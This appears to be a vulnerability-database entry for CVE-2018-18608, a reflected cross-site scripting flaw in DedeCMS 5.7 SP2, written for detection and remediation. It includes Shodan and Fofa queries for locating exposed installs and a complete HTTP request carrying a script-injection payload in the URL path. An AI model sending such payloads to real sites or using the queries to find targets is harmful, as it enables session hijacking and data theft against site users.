🔙 목록으로 돌아가기

CVE-2018-18608: DedeCMS 5.7 SP2 - Cross-Site Scripting

TitleDedeCMS 5.7 SP2 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.07885
CVE IDCVE-2018-18608
CWE IDCWE-79
Shodan Queryhttp.html:"DedeCms"cpe:"cpe:2.3:a:dedecms:dedecms"http.html:"dedecms"
Fofa Querybody="dedecms"app="dedecms"
Tags cve2018 cve dedecms xss vuln

🔍 Vulnerability Description

DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.

🌐 HTTP Request

GET /plus/feedback.php/rp4hu%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E?aid=3 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18608.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-18608.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A